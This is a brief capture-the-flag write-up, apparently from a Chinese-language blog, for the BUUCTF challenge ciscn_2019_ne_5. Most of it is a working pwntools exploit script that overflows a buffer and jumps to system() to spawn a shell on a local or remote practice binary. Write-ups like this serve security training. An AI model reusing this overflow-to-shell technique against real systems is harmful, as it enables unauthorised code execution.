BUUCTF ciscn_2019_ne_5

这道题是一道典型的ROP一开始没找到参数~~
直接溢出emem
exp(其实我写的很麻烦了很简单的)

#!/usr/bin/python2
from pwn import *
local=1
if local==1:
	p=process('../binary/ciscn_2019_ne_5')
	elf=ELF('../binary/ciscn_2019_ne_5')
	libc=elf.libc
else:
	p=remote('node3.buuoj.cn',29140)
	elf=ELF('../binary/ciscn_2019_ne_5')

lg=lambda address,data:log.success('%s: '%(address)+hex(data))

def add(log):
	p.sendlineafter(':','1')
	p.sendlineafter('log info:',log)

def show():
	p.sendlineafter(':','2')

def getflag():
	p.sendlineafter(':','4')

def print1():
	p.sendlineafter(':','3')

def exp():
	main=0x08048722
	pop_ebp=0x08048720
	p.recvuntil('password:')
	p.sendline('administrator')
	add('a'*0x4c+p32(elf.sym['system'])+p32(0xdeadbeef)+p32(0x80482ea))
	getflag()
	p.interactive()

if __name__=="__main__":
	exp()